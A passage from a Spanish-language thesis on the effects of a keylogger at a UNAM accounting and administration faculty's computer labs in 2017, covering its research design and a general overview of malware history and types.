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Introduccién

La necesidad creciente del uso de internet en la mayoria de las actividades que
realizan los estudiantes ha llevado a que este medio sea uno de los mas
importantes para obtener acceso a informacién y también como medio de
comunicacion, ya que contiene ventajas como la rapidez y la facilidad de uso,
esto genera en los estudiantes un exceso de confianza dentro de los servicios y

herramientas que se usan diariamente dentro de casa o a nivel educativo.

Algo que se deberia tomar en cuenta es no seguir fomentando este exceso,
debido a que estas herramientas pueden generar ciertas desventajas en el uso
que se les da, como la informacion apocrifa, malos héabitos de estudio,
dependencia de uso y el software malicioso dentro de herramientas de TI.

Las desventajas anteriormente mencionadas no son todas, pero se busca
destacar las mas importantes y la que se abordara dentro de este trabajo el cual

es el software malicioso (malware).

De lo anterior sefialado se desprende el problema central de esta investigacion,
los estudiantes y el uso que le dan a las herramientas de Tl, debido a que muchas
veces por el poco conocimiento que se cuenta sobre los cuidados que se deben
mantener usando un equipo e ingresando datos sensibles, se han registrado

casos de violacién a la privacidad, robo de datos, falta de disponibilidad, etc.

Estos problemas se han ido expandiendo en los servicios de educacion basica
hasta educacién superior, ya que no se cuenta con informacion suficiente del
alcance que puede tener la ignorancia sobre temas de seguridad de la

informacion dentro de la poblacién estudiantil, generando numerosos riesgos.

Dentro del alumnado de ultimo semestre de la carrera de administracion de la
Facultad de Contaduria y Administracion de la UNAM en el afio 2017, se dio un
tema particularmente relacionado con lo descrito, atribuyéndoselo a los
laboratorios de computo de la misma facultad, ya que muchos articulos en la red
y en periddicos, mencionaron la exposicion de informacion sensible de alumnos,

el cual se distribuia a través de sistemas de almacenamiento en la nube.



Esta Facultad cuenta con laboratorios de computo donde se imparten materias,
cursos y talleres de tecnologias de la informacién, por lo que se cuenta con varias
computadoras de escritorio para impartir toda esta carga académica, es
importante mencionar que para hacer uso de dichos equipos de computo se debe
seqguir cierta normativa a la hora en la cual estos sean prestados, como dejar una
identificacion, no entrar con comida y dar un uso correcto a estos, en este Ultimo
punto se engloba la parte de evitar acceder a cualquier tipo de red social o sitio
personal, pero muchas veces, al tomar un equipo prestado, se encontraban
redes sociales abiertas de alumnos que no tenian la precaucion de cerrar sus
sesiones o simplemente seguir las indicaciones del reglamento, por lo que otros

usuarios podian acceder a cierta informacién sensible.

De igual forma algunos alumnos llegaron a comentar que, aunque ellos habian
cerrado sesion en sus redes sociales, percibian que otras personas tenian
acceso a su cuenta o que habian encontrado su propia informacion, la cual, ellos
habian enviado a sus contactos, en otros dispositivos de almacenamiento ajenos
a ellos, por lo que es destacable que no solo se debe tener la precaucion de
cerrar la sesion y el navegador, esto implica que, si alguien que no fuera el
propietario de la red social, podia obtener contenido sensible de otras personas,
tenia la capacidad de conseguir usuarios y contrasefias por algun medio, lo que

implicaba un conocimiento medio en cuanto al uso de malware.

Se decidio estudiar este fenbmeno dado que en el afio 2017 tuvo un impacto,
generando en afios posteriores noticias o articulos informativos donde se daba
a conocer reclamos por parte de usuarios de los laboratorios, donde se decia

que habian sido afectados por revelar informacién sensible.

Un ejemplo de esto es el siguiente parrafo de un articulo publicado por la pagina

WEB oficial del Universal:

“En un laboratorio de computo de la Facultad de Contaduria y Administracion de
la UNAM se hackearon cuentas de redes sociales de las que fueron robadas
fotografias y videos con contenido sexual de alumnas, las cuales fueron
cargadas a un archivo de Dropbox que se compartié entre estudiantes en toda

la Universidad” (Ruiz, 2020 , marzo 17: parr. 1).
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Esta nota muestra desde la perspectiva de una alumna de la Facultad de
Contaduria y Administracion como fue que encontré6 su propia informacién
sensible en un contenedor de archivos en la nube, también se hace mencién de
una fecha en especifico en la cual sucedieron los hecho, que como ya se
menciono fue en el afio 2017, esto se sabe debido a un pequefio analisis que se
hizo en este afio, en los equipos de coémputo del laboratorio, para conocer que
habia ocurrido o porque los usuarios estaban reportando problemas al hacer uso

de estos.

Esta investigacion se dio con el fin de conocer los efectos propiciados por el
Malware Gumshoe a los alumnos de ultimo semestre de la carrera de
administracion en el afio 2017 de la Facultad de Contaduria y Administracién, ya
qgue fue un acontecimiento que afecté a muchas personas de diversas formas y
se busca mostrar los hechos sucedidos.

En la actualidad este tema es de interés y se decidié estudiarlo en esta tesis por
la causa en la cual aun sigue repercutiendo a las victimas afectadas en afios
recientes, como lo es el caso mencionado en la articulo del Universal, comentado
con anterioridad, donde se explica que la alumna afectada cred una carpeta de
investigacion en el afio 2020, ya que encontr6 sus datos confidenciales
compartidos en un medio de almacenamiento en la nube (Ruiz, 2020 , marzo 17:

parr. 2).

De igual forma en el articulo, se comenta que la investigacion que se realizé por
este suceso arrojo que el ciberataque se pudo haber perpetuado entre los afios
2016 y 2017 (Ruiz, 2020 , marzo 17: parr. 6), los cuales coinciden con la
experiencia e informacion obtenida de la situacion y se quiso conocer y/o mostrar
la causa raiz de como pudo haber funcionado esta vulnerabilidad en las aulas de
computo de los laboratorios del CIFCA, ya que se cuenta con el contexto de lo
ocurrido en este incidente, por fuente propia, esta explicacién sera presentada

en los capitulos siguientes.

También se quiso indagar si los alumnos tenian algin conocimiento previo sobre
prevencion de ataques informaticos, esto serd de suma importancia para
entender como actuaron ante la situacidén que se les presentd al comprender que

sus datos habian sido vulnerados y posteriormente saber si hicieron algun
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cambio en sus redes sociales o si exploraron la existencia de algun tipo de

proteccion para evitar estos incidentes.

Se pretende de igual modo, hacer consciencia sobre la protecciéon de los
sistemas e informacion confidencial, para que los alumnos o personal académico
pueda navegar en internet con minimas amenazas de software y evitar un riesgo
que pueda afectar la velocidad de las operaciones y la pérdida de informacion
sensible. Por lo que es necesario conservar de forma efectiva los datos privados
y proteger el almacenamiento de datos del equipo para tener integridad de
informacion, de ese modo puede evitarse la manipulacién de datos y garantiza

que la informacién sea verdadera y precisa.

Dentro de esta investigacion, se encuentra inmerso el reglamento de seguridad
del Centro de Cémputo de la Facultad de Contaduria y Administracion, esto
ayuda a sefialar la normativa que aplica para el préstamo de un equipo de
escritorio y muestra las conductas que se deben evitar dentro de los laboratorios

para no exponer informacién sensible de cualquier persona que use los equipos.

Los beneficios que pretende dar esta investigacion son:

¢ Informar sobre los efectos producidos del Malware Gumshoe a la comunidad
universitaria.

e Buscar la concientizacion sobre los cuidados y proteccion de datos sensibles

gue se debe de tener para evitar ciberataques.

Las preguntas que son respondidas dentro de este trabajo se dividen en dos
partes, la primera es la pregunta general, que determina la informacion amplia

de los efectos del Malware Gumshoe, siendo esta, la siguiente:

1. ¢Cuéles fueron los efectos generados por el Malware Gumshoe a los
alumnos de uGltimo semestre de la carrera de administracion en el afio 2017

de la Facultad de Contaduria y Administracion?

También se tienen dos preguntas secundarias, las cuales identifican las

siguientes cuestiones:



1. ¢Qué conocimiento poseian los alumnos de dltimo semestre de la carrera de
administracion de la Facultad de Contaduria y Administracion sobre
prevencion de ataques cibernéticos en el afio 20177

2. ¢Lacomunidad de la Facultad de Contaduria y Administracion en el afio 2017

tomo6 medidas para evitar seguir siendo vulnerados por el malware?

Los objetivos que persiguio este trabajo constan de un objetivo general y dos
objetivos particular que ayudaron a conducir la investigacion y también a
responder a las preguntas de investigacion, se tiene por objetivo general dentro
de la tesis el siguiente texto:

1. Explicar los efectos generados por el Malware Gumshoe a los alumnos de
ultimo semestre de la carrera de administracion en el afio 2017 de la Facultad
de Contaduria y Administracion.

De la misma forma, se cuentan con dos objetivos particulares que se muestran

a continuacion:

1. Identificar que conocimiento poseian los alumnos de dltimo semestre de la
carrera de administracion de la Facultad de Contaduria y Administracion

sobre prevencién de ataques cibernéticos en el afio 2017.

2. Describir si la comunidad de la Facultad de Contaduria y Administracion en
el afio 2017 tom6 medidas para evitar seguir siendo vulnerados por el

malware.

Lo hipotesis de este documento, la cual ayudd a probar y definir la explicacion

tentativa del fendmeno que se decidio investigar es la siguiente:

1. Los efectos generados por el Malware Gumshoe a los alumnos de ultimo
semestre de la carrera de administracion en el afio 2017 de la Facultad de
Contaduria y Administracién han sido el robo y la exposicion de informacion

sensible.



La investigacion abarcé, exclusivamente a los alumnos que cursaban el dltimo
semestre de la carrera de administracién en el afio 2017 de la Facultad de
Contaduria y Administracion UNAM y al Centro de Informética de la Facultad de

Contaduria y Administracion UNAM.

El tipo de disefio que se utilizé dentro de esta tesis fue no experimental, debido
a que tan solo se describié cdmo ocurrieron los hechos sin manipular ninguna de
las variables del tema de investigacion, Unicamente se ingreso informacion y
datos del afio 2017, ademas se tuvo por objetivo capturar variables de un grupo
de 30 alumnos que cursaban el tltimo semestre de la carrera de administracion
en el afio 2017, los cuales fueron victimas o tuvieron relacién con el incidente del

Malware Gumshoe, por lo que el estudio va a ser transversal de tipo explicativo.

El estudio presente, segun su profundidad fue descriptivo-explicativo debido a
que el alcance planeado describié y explico la percepcién y efectos que tuvo el
malware Gumshoe, dentro de la experiencia obtenida por parte de los alumnos
de ultimo semestre de la carrera de administracion que estudiaron en el afio 2017
en la Facultad de Contaduria y Administracion.

También se recabaron datos del Centro de Informética de la Facultad de
Contaduria y Administracibn como sus antecedentes, contexto de su
construccion, funcionamiento y administracion, lo cual ayuddé a conocer su
normativa y el estado de los equipos de cédmputo con el que se contaba en el
afio 2017.

El tipo de investigacibn que se realiz6 en este trabajo, segun los datos
empleados para comprobar la hipotesis fue mixta, ya que por medio de los
cuestionarios que se realizaron a los alumnos se recopilaron datos cualitativos y
cuantitativos.

El disefio de los datos cualitativos fue fenomenolégico y etnografico ya que fue
un hecho referente a las ciencias sociales en el cual fueron afectados los
alumnos de administracion por el Malware Gumshoe. Asi mismo se requirieron

datos cuantitativos, para la creacion de estadisticas y graficas.

El método que se utilizé fue deductivo, ya que se requiri6 ir definiendo desde lo

mas general que vendria siendo el malware, hasta llegar a las consecuencias
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particulares del Malware Gumshoe, presentadas en los alumnos de ultimo
semestre de la carrera de administracién en el afio 2017 de la Facultad de
Contaduria y Administracion.

La tesis presentada a continuacion, consta de una introduccion, cuatro capitulos,
conclusiones, algunos anexos y las referencias de cada sitio donde se obtuvo la

informacion.

En la introduccion se explica el contexto general donde se realizé la investigacion
y porqué se decidi6 abordar este tema, de la misma forma, se presenta la
pregunta general y las preguntas secundarias, las cuales son respondidas dentro
de este trabajo, posteriormente se muestran los objetivos generales y
particulares que tiene la tesis, seguidos por la hipotesis, que es comprobada mas
adelante, por ultimo se indica, cual es el alcance, el método, el disefio y el tipo

de investigacion que se realizo.

En el primer capitulo se establece el marco referencial, donde se trataron temas
relativos a la investigacion que se llevo a cabo, para que el lector se familiarice
con los términos usados y para que tenga un contexto del funcionamiento del

malware.

El segundo capitulo habla acerca de la Facultad de Contaduria y Administracion,
de todo lo que contiene esta casa de estudio y por supuesto se detalla

informacion sobre los laboratorios, el entorno donde fue encontrado el malware.

En el tercer capitulo se explica por completo la creacion, funcionamiento, fines y
usos del malware Gumshoe, también se informa el cémo fue encontrado el
keylogger dentro de los laboratorios de la Facultad de Contaduria y

Administracion.

En el cuarto y ultimo capitulo se presenta el tema sobre la percepcion y
consecuencias que tuvo el malware Gumshoe en los alumnos de la Facultad de
Contaduria y Administracion en el afio 2017, empezando por mostrar los
cuestionarios y los resultados de estos, obtenidos de preguntas asociadas a

conocimientos generales de seguridad de la informacion en las TIC y otros dos
8



resultados de cuestionarios, que ayudaran a conocer el uso que le daban a las
computadoras de los laboratorios y que medidas tomoé la comunidad estudiantil,
posterior al ataque, que se aplicaron a los estudiantes con las caracteristicas

descritas anteriormente.

Por ultimo, se comentan las conclusiones a las cuales se lleg6 por medio de los
cuestionarios aplicados a la muestra seleccionada.

Después de los capitulos y las conclusiones se describe la fuente que se utilizd
para la investigacion de la tesis al igual que se exponen los anexos que se usaron

en la investigacion.



Capitulo I: Marco Teorico

1.1 Malware

Esta investigacion tuvo como propésito explicar algunas de las consecuencias
que puede generar un malware tipo keylogger dentro de una institucion publica
educativa, por lo que es necesario presentar un contexto sobre la historia del
malware, dicho término hace referencia al software malicioso que incluye
cualquier sistema de software que afecte los intereses del usuario, no solo puede
afectar a la computadora o al dispositivo infectado, sino también a cualquier otro

con el que este se comunique (Red Hat 2021, ler parrafo).

Desde el afio 1966 se concibieron las primeras ideas de lo que vendria siendo
un malware, esto es atribuido al cientifico hingaro John Von Neumann, cuando
publicé La Teoria del Autbmata Autorreplicante, aunque no se tratara de un
malware funcional, proponia un sistema nuevo y poco manejable, el cual
realizaria copias de si mismo para autorreplicarse (Regan, 2020, ler péarrafo).

Posteriormente en el afio de 1971, las ideas de Neumann serian puestas en
practica por un hombre llamado Bob Thomas, cuando desarrollé un software
llamado Creeper, que podia saltar automaticamente entre las computadoras de

una red.

El equipo infectado mostraba un mensaje, pero no causaba dafio alguno en el
sistema, lo que llamaba la atencion de este software, era su capacidad para
analizar si habia otra computadora a la cual saltar, en cuyo caso lo hacia.
Después de un tiempo, uno de los compafieros de Thomas, Ray Tomlinson,
decidié actualizar Creeper, el cual, ya no sélo se trasladaria automaticamente,
sino también se autorreplicaria y dejaria una copia de si mismo en una

computadora antes de pasar a la siguiente (El Heraldo de México, 2021).

Los software maliciosos anteriores, no habian conseguido tener un alcance
mayor a un laboratorio de investigacion, pero en el afio 1986 aparecio el primer
malware que se extendio fuera de los laboratorios, llegando a afectar equipos de
personas en varias localidades, este malware llamado Brain, fue creado para

plataformas IBM, sus creadores son de origen pakistani (Pagnotta, 2016, 3°
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parrafo) y se clasifica como gusano, por lo que tiene las caracteristicas de no
requerir ningun tipo de intervencion humana para propagarse e infectar, usar las
redes informaticas para propagarse en otros equipos y enviar miles de copias de
si mismo para infectar nuevos sistemas. Gran numero de gusanos solo
consumen recursos del sistema y reducen el rendimiento, aunque la mayoria
incluye otro tipo de malware disefiado para robar o eliminar archivos (Kaspersky,
2021, 3° pérrafo).

1.2 Tipos de Malware

Los anteriores softwares maliciosos conocidos, como ya se comentd, tenian
caracteristicas de tipo gusano, esto no significa que sea el Unico tipo existente,
a lo largo del tiempo, se han creado diversos tipos de malware con diferentes
fines y caracteristicas, por lo que a continuacién se describiran los mas

importantes y sefialados por el mundo informatico.

Por lo que se da inicio a este tema con el siempre mencionado Virus, el cual
viene dentro de un programa, una aplicacién o un sistema y son ejecutados por
la misma victima. Este tipo de malware, siempre va a requerir de un huésped, es
decir un dispositivo para vivir, se mantienen inactivos, hasta que el usuario del
dispositivo ejecuta la aplicacion que lo activa, desde este momento, el virus se
replicard, propagandose de una a otra computadora en una red informatica.
Puede provocar pérdidas o robo de datos y perjudicar el software e incluso el
hardware (Norton, 2021, 4° parrafo).

Un ejemplo de este malware ha sido el virus | LOVE YOU, que aparecio en el
afo 2000 en Filipinas y tard6 sélo cinco horas en propagarse por Asia, Europa y
Ameérica a través de correo electronico. Los usuarios recibian en su correo un
email con el asunto | LOVE YOU, en el cual venia adjunto un archivo LOVE-
LETTER-FOR-YOU.TXT.vbs, al abrirlo tenia el cddigo del virus, el cual se
ejecutaba y comenzaba tomando las direcciones de correo guardadas para de
esta forma reproducirse, también borraba imagenes y sonidos guardados en la
computadora y tomaba los nombres de los archivos para convertirlos en archivos

maliciosos (Panda Security, 2013, 2° parrafo).
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El siguiente malware mencionado es el Troyano, este tipo de amenaza se
disfraza de un software o archivos beneficiosos e inofensivos para el usuario y
de esta forma ser descargados, sin embargo al hacerlo, se les otorgan permisos
a usuarios no autorizados para controlar el dispositivo donde se alojaron, una
vez instalados, puede realizar dafios, interrumpir, modificar y robar datos
sensibles, al igual que los virus también requieren de la accion del usuario para
implementarse, pero la diferencia que tienen es que los troyanos no se replican

y no dependen de un host (Norton, 2021, 6° parrafo).

Para activar el funcionamiento de un Troyano, el usuario tiene que haber
ejecutado primero el programa inofensivo, de esta manera y de forma oculta el
malware comienza ejecutandose en segundo plano instalando programas. Este
software malicioso este compuesto por dos programas, el primero es por medio
del cual se envian las 6rdenes desde el equipo atacante y el segundo es el
equipo infectado que recibe las érdenes del primer programa. La conexion entre

el primer programa y el segundo, se produce de dos formas:

e Conexion directa: El primer programa se conecta al segundo programa para

darle 6rdenes.

e Conexibn inversa: El segundo programa envia directamente informacion al

primer programa

Un ejemplo de este tipo de malware es el llamado Zeus, el cual fue dirigido para
usuarios de Microsoft Windows, fue detectado en 2007 cuando se utilizé para
robar varios datos del Departamento de Transporte de Estados Unidos. El
Troyano comenzaba infectando una red de equipos los cuales eran controlados
de forma oculta por un servidor, esto permitia al propietario del malware recopilar

grandes cantidades de informacion.

Esta infeccibn comenzo6 en correos de spam donde se descargaba un producto
legitimo, pero de forma oculta instalaba el Troyano, posteriormente comenzaba
a buscar nombres de usuarios y contrasefias de correos electronicos de titulares

de la cuenta e informacion financiera relacionada con las credenciales obtenidas,
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una vez tomada la informacion, se enviaba a la ubicaciéon remota del creador del

malware los datos (Hypr, sf, 2° - 4° parrafo).

Uno de los malware que mas ha cobrado relevancia en estos ultimos afios son
los llamados Ransomware, los cuales bloquean y cifran el dispositivo que habitan
o los datos de la victima, para posteriormente pedir un rescate y restaurar el
acceso. Esto ocurre a menudo cuando el usuario de un dispositivo descarga por
error archivos adjuntos contenidos en un correo electronico o de algun enlace de
fuente desconocida, una vez instalado, el Ransomware, crea acceso para que el
atacante acceda al equipo y este comienza a cifrar los datos, esto puede ser una
pérdida financiera enorme (Norton, 2021, 7° parrafo).

Para ejemplificar a este malware, se hablara de WannaCry, este software
malicioso comienza cifrando datos o bloqueando el acceso del dispositivo al
propietario. En esta parte se tiene que hacer un pequefio paréntesis para explicar
de que se trata el proceso de cifrado, en seguridad informatica esto es una
practica comdn para mantener la integridad de los datos, donde estos se
encuentran en un formato entendible por el usuario y son convertidos a un

formato codificado.

Para revertir el proceso, los usuarios requieren de una clave. Una vez definido el
concepto de cifrar se puede seguir explicando los procesos que realiza el
malware WannaCry, el cual tiene como objetivo una vez mas, las computadoras
con el sistema operativo de Microsoft Windows, tuvo un alcance inmenso y fue
detectado en el afio 2017. Los archivos de las victimas se mantuvieron retenidos
y se solicitdé un rescate con un valor de 300 délares que aumentaba a 600. Si en
un plazo de tres dias no se pagaba, los archivos eran eliminados.

Lo peor fue que los usuarios al pagar la cantidad anteriormente mencionada, no
les era regresada su informacion, porque la codificacibn que usaban los
cibercriminales era defectuosa y no tenian forma de asociar el pago, con la
computadora del usuario que les pagaba (Kaspersky, sf, 2° - 5° parrafo), lo cual

causo6 multiples pérdidas de dinero y de datos importantes.
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Otro de los software maliciosos que es importante mencionar debido al dafio que
hace, es el Rootkit, el cual otorga a los ciberatacantes el control remoto de los
dispositivos de las victimas, muchas veces sin que estas tengan conocimiento
de que su equipo ha sido vulnerado, dado que los Rootkits estan disefiados para
permanecer ocultos, pueden secuestrar el software de seguridad del sistema
operativo, por lo que es probable que este tipo de malware viva en el equipo
infectado por mucho tiempo. Se propaga a través de descargas de archivos
maliciosos y sus efectos pueden dar acceso total a los atacantes sobre el

dispositivo (Norton, 2021, 8° parrafo).

Zacinlo pertenece al grupo de malware mencionado en el parrafo de arriba,
afecta principalmente a las computadoras con sistema operativo Windows 10 y
se encarga de afiadir mensajes publicitarios en cualquier momento, saltando a
la vista en el monitor de la computadora, aparte de realizar capturas de pantalla
con el fin de robar datos relevantes del afectado. Zacinlo se propagoé en las
computadoras gracias al uso de VPNs gratuitas, las cuales son redes de
conexion cifrada a Internet y ayudan a la transmisidbn segura de datos
confidenciales (Cisco, sf, ler parrafo). Una vez infectado el dispositivo lo mas
alarmante es la capacidad para obtener permisos de administrador, lo cual
permite usar cualquier programa o archivo sin la necesidad de que el usuario

escriba las credenciales del sistema operativo.

Downloader es otro tipo de software malicioso el cual se encuentra disperso en
piezas pequefas, toma archivos ejecutables o cualquier otro archivo del sistema
para alguna tarea en especifico que es controlada desde el equipo del
cibercriminal, una vez que el usuario haya descargado el Downloader
proveniente de un adjunto de algun correo electrénico o de una imagen, los
delincuentes envian instrucciones para descargar otros malware en el equipo

(Kaspersky, 2013, 8° parrafo).

El Downloader mas conocido es Emotet, el cual es un malware polimorfico, ya
que a lo largo del tiempo no ha dejado de evolucionar desde sus inicios, su
principal funcion es la de permitir la descarga y ejecucidén de otros softwares
malintencionados. Como forma de operar, los atacantes utilizan correos

electronicos fraudulentos con adjuntos o enlaces a archivos de la paqueteria de
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Office maliciosos, que, mediante macros, buscan la descarga y ejecucion de
Emotet, eludiendo el software de seguridad (INCIBE-CERT, 2021, ler — 3er

parrafo).

Para entender un poco mas sobre el funcionamiento del software malicioso se
debe de definir que es una macros, esta es una herramienta contenida dentro de
Excel, en el cual se graban un conjunto de acciones como por ejemplo los clics
del mouse o las pulsaciones de las teclas, estas grabaciones se ejecutaran las
veces que el usuario que las haya creado sean requeridas. Por lo que Emotet
funciona agregando una serie de instrucciones dentro de un documento de
Excel, en el cual se graba el acceso al sitio donde se descarga, su instalacién y
Su ejecucion. Las instrucciones para la ejecucion del software malicioso al estar
contenidas dentro de un archivo propiamente de Windows, hace casi imposible

su deteccién (Microsoft, 2022, 1er — 3er parrafo).

Las Backdoor también pertenecen al grupo de software malintencionado, como
su nombre traducido del inglés lo describe, es una puerta trasera, tienen por
caracteristica principal la administracion remota de ciertos programas instalados
por los usuarios nuevamente sin que estos se enteren de su existencia. Su
funcionamiento por lo regular consiste en cualquier aplicacion donde el
programador ha dejado en el codigo la manera de ingresar a él, remotamente y
segun sea la actividad maliciosa a desempefiar, el programador puede tomar
cierto control sobre el dispositivo (Kaspersky, 2013, 8° parrafo).

Para ejemplificar el anterior malware mencionado se puede encontrar a Sticky
Attacks, el cual fue detectado por el software de seguridad llamado Panda en el
aflo 2017. ElI Backdoor utilizaba unicamente scripts que son pequefios
programas y otras herramientas propias del sistema operativo Windows Vista
para evitar ser detectado. Los cibercriminales programaron este malware para
gue el primer paso que realizara fuera el lanzar un ataque de fuerza bruta, lo cual
se define como un método donde se prueban tantas combinaciones de letras o
caracteres sean necesarias, para poder encontrar una contrasefia, esto se hace
mediante la ayuda de un programa que realiza estas combinaciones de forma

automatica, existen cinco tipos de ataques de fuerza bruta los cuales son:
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1. Ataques Simples

Estos ataques no requieren mucha capacidad informéatica ni ingenio ya que sélo
es combinar sisteméticamente palabras, letras y caracteres hasta alcanzar su
objetivo. Las contrasefas largas y complejas no estan al alcance de los ataques
simples, que generalmente se limitan a variaciones de las contrasefias mas
comunes o probables.

Un ataque simple de fuerza bruta es tan sencillo que se puede realizar
manualmente, o de forma automatica por medio de un programa sencillo.

Estos ataques siguen siendo efectivos porque muchos usuarios inexpertos de
Internet no se dan cuenta del peligro que supone usar contrasefias simples
(Molinaro, 2021, 8° parrafo).

2. Ataques de Diccionario

Se centran en contrasefias mas complicadas, utilizando un diccionario digital o
una lista de palabras como ayuda. Con algunas palabras complicadas, estos
ataques pueden ser evitados ya que podrian tardar meses en conseguir la
combinacion correcta. Los ataques de diccionario intentan averiguar una
contrasefia usando cada palabra, combinaciones comunes de esa palabra con
otras palabras, variaciones ortograficas y palabras en varios idiomas. Si se usa
una sola palabra para una contrasefia, un ataque de diccionario de fuerza bruta

tendra éxito en cuestion de segundos (Molinaro, 2021, 9° parrafo).

3. Ataques Hibridos

Combinan ataques simples de fuerza bruta y ataques de diccionario. Las
contraseflas comunes se mezclan con palabras del diccionario y caracteres
aleatorios para crear una base de datos de combinaciones de contrasefias mas
grande. “Una contrasefia como «cOntr@s3i@» puede burlar un ataque de
diccionario, pero ofrece pocas defensas contra un ataque hibrido” (Molinaro,
2021, 10° parrafo).

4. Inversos de Fuerza Bruta

Los ataques inversos de fuerza bruta invierten el orden de las operaciones:
Comienzan con una contrasefia comun o conocida y usan la fuerza bruta para
buscar el nombre de usuario. A veces, las contrasefias de las fugas de datos se

filtran en linea y, cuando lo hacen, a menudo se utilizan para lanzar ataques
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inversos. Muchos usuarios no se plantean nunca la importancia de la seguridad
en su ID de inicio de sesién, lo que hace que el atacante de nombres de usuario
por fuerza bruta sea mas lucrativo de lo que parece (Molinaro, 2021, 11° parrafo).

5. Relleno de Credenciales

El relleno de credenciales se produce cuando un atacante obtiene un nombre de
usuario y contrasefia para un sitio, y luego intenta iniciar sesion en otros sitios
con las mismas credenciales o similares. En lugar de atacar por fuerza bruta una
contrasefia o nombre de usuario, estan atacando por fuerza bruta el lugar donde
se usa la contrasefa o el nombre de usuario. Esta es una de las razones por las
que no se deberian guardar nunca las contrasefias en un navegador. Si se usa
la misma contrasefia o0 hombre de usuario en varios sitios, ninguna de las
cuentas del usuario estaran seguras y alguna podria ser comprometida
(Molinaro, 2021, 12° parrafo).

Una vez explicado el ataque de fuerza bruta y sus tipos, se revisara el segundo
paso, una vez obtenidas las credenciales de inicio de sesion del equipo
vulnerado, se tendré acceso a este, posteriormente se ejecutard un programa
llamado sethc.exe, eso activara las Sticky Keys del sistema, que son accesos
rapidos a algun programa dentro del sistema operativo, por medio de presionar
alguna combinacién de teclas, en este caso para abrir el programa de comandos
de Windows (CMD). De esta forma se puede acceder con los privilegios mas
altos del sistema operativo sin que la victima se dé cuenta y de esta forma el
atacante crea una conexion para tomar el control total sobre el equipo (Panda

Security, 2017, 5° parrafo).

Ahora se explicara el malware tipo Spyware que es en el que esta investigacion
se interesa y del que se hablard a mayor profundidad, este tipo de software
malicioso fue diseflado para recopilar datos de una computadora u otro
dispositivo y reenviar esta informacién a un tercero sin el conocimiento o
consentimiento del usuario. Esto a menudo incluye la recopilacion de datos
confidenciales, la supervision de las pulsaciones de teclas, el rastreo de los
habitos de navegacion y la recopilacién de direcciones de correo electronico.

Ademas de todo esto, estas actividades también afectan el rendimiento de la red,
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al ralentizar el sistema y afectar a todo el proceso empresarial (Kaspersky, 2021,

ler parrafo).

Dentro de los Spyware también se incluye una clasificacion donde se puede
encontrar los siguientes software espia:

Como por ejemplo, se tiene al Adware que es un software no deseado, disefiado
para mostrar de forma automatica anuncios mientras se navega por Internet o
mientras se esta utilizando alguna aplicacion, esta muestra publicidad ya que se
financia mediante ella. Una de sus funcionalidades es espiar el historial de
navegacion para posteriormente presentar publicidad intrusiva. Las funciones del
Spyware pueden haberse disefiado para analizar la ubicacion y los sitios web
gue visita y mostrar anuncios acordes a los bienes y servicios que se muestran
en ellos (Seguin, 2020, 14° parrafo). Hay dos formas principales por las que el

adware se introduce en un dispositivo:

1. La primera forma es cuando el usuario descarga un programa que contiene
e instala el adware sin que sea percibido y sin permiso. Esto sucede porque
el creador del programa lo acuerda con el proveedor del adware, ya que el
beneficio que la publicidad genera, permite que el programa esté disponible
de forma gratuita (aunque también algunos softwares de pago de fuentes
poco fiables pueden cargar adware). Después, el adware se empieza a
desplegar por medio de un bombardeo de publicidad al usar la aplicacion
(Malwarebytes, s. f.-a, 6° parrafo).

2. La segunda forma es cuando el usuario se encuentra navegando por un sitio
web, el sitio puede ser de confianza o no y al presionar en algin anuncio
accidentalmente, el adware podria aprovecharse de alguna vulnerabilidad en
el explorador del usuario para iniciar una descarga involuntaria. Cuando se
infiltra, el adware comienza a recopilar informacién, también a redirigir a
paginas maliciosas y a lanzar mas anuncios en el explorador (Malwarebytes,

s. f.-a, 7° parrafo).

También se tiene al Spyware clasificado como Infostealers, este tipo de malware
recopila pulsaciones de teclas, capturas de pantalla, grabaciones de video,

actividad en la red, puede activar el micréfono o la camara, entre otras
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actividades maliciosas dentro del equipo donde se encuentre instalado, también
puede monitorear de forma encubierta el comportamiento del usuario y tomar
informacion sensible de alguna identificacion, nombres, contrasefas, correo
electronico, programas de chat, sitios web visitados y actividad financiera. La
informacion recopilada puede almacenarse localmente y luego transmitirse a un

servicio o ubicacién en linea.

Este software puede estar empaquetado con software gratuito en linea o puede
disfrazarse como un programa inofensivo y distribuirse por correo electronico.
Alternativamente, el Infostealer, puede ser instalado sin el consentimiento de la
victima por una persona con acceso fisico o remoto a la computadora

(Malwarebytes Labs, s. f., 1ler — 5° parrafo).

Un malware que ha causado polémica entre los jugadores de videojuegos debido
a como se encuentra implementado es el Red Shell, cuya funcién es tomar a sus
usuarios como una fuente de datos para estudios de mercado, aunque en si,
esto es inofensivo, se hace de forma intrusiva y sin el consentimiento de los
jugadores. Red Shell es creado por los propios desarrolladores de juegos, que
buscan rastrear la actividad de los jugadores.

El funcionamiento de este malware es sencillo, una vez entra en el equipo
victima, es capaz de saber si los jugadores han seguido alguna de las campafas
publicitarias de un juego, si han reproducido videos del juego o la forma en la
gue se ha llegado al juego en cuestidn. Es decir, recopila datos sobre la manera
en la que se ha descubierto el juego para transmitir esa informacién a la
compafiia y que esta mejore sus campafias de marketing, o las adapte, en un
futuro. El problema es que Red Shell ha sido totalmente invisible al usuario. Si,
las empresas lo utilizan Unicamente para lanzar campafias de marketing mas
efectivas, pero lo han hecho de forma totalmente invisible para el jugador
(Seguin, 2020, 15° parrafo).

Las cookies pueden ser utiles, son archivos que contienen fragmentos de datos
(como nombre de usuario o contrasefla) que se intercambian entre el
computador de un usuario y un equipo que se utiliza para administrar paginas

web (servidor), esto se hace con la finalidad de identificar usuarios especificos y
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mejorar la experiencia de navegacion. Las cookies se crean cuando los usuarios
visitan un sitio web nuevo y el servidor envia un pequefio flujo de informacién a
sus navegadores web. Esa cookie se envia solo cuando el servidor quiere que
el navegador web guarde la cookie. En ese caso, recordara el nombre del usuario
y lo reenviara al servidor con cada solicitud de seguimiento, pero como los
anteriores malware mencionados, pertenece a una de las clasificaciones de
Spyware debido a que pueden realizar un seguimiento que puede considerarse
como un monitoreo de las actividades que el usuario realiza, mientras navega en
internet, recopilan su historial y registra los intentos de inicio de sesion

(Kaspersky, s. f., ler — 2° parrafo). Las cookies pueden ser de dos tipos:

1. De Sesion: Estas cookies se borran automaticamente cuando se finaliza la

sesion de algun sitio web donde el usuario se encontraba ingresado.

2. Persistentes: Las cookies persistentes se quedan en el dispositivo de forma
indefinida, aunque muchas incluyen wuna fecha y se eliminan

automaticamente al llegar a ella.

Si bien estos pequefios software de seguimiento no son malintencionados, se
puede notar que su continuo monitoreo al usuario, podria tener efectos malicioso,
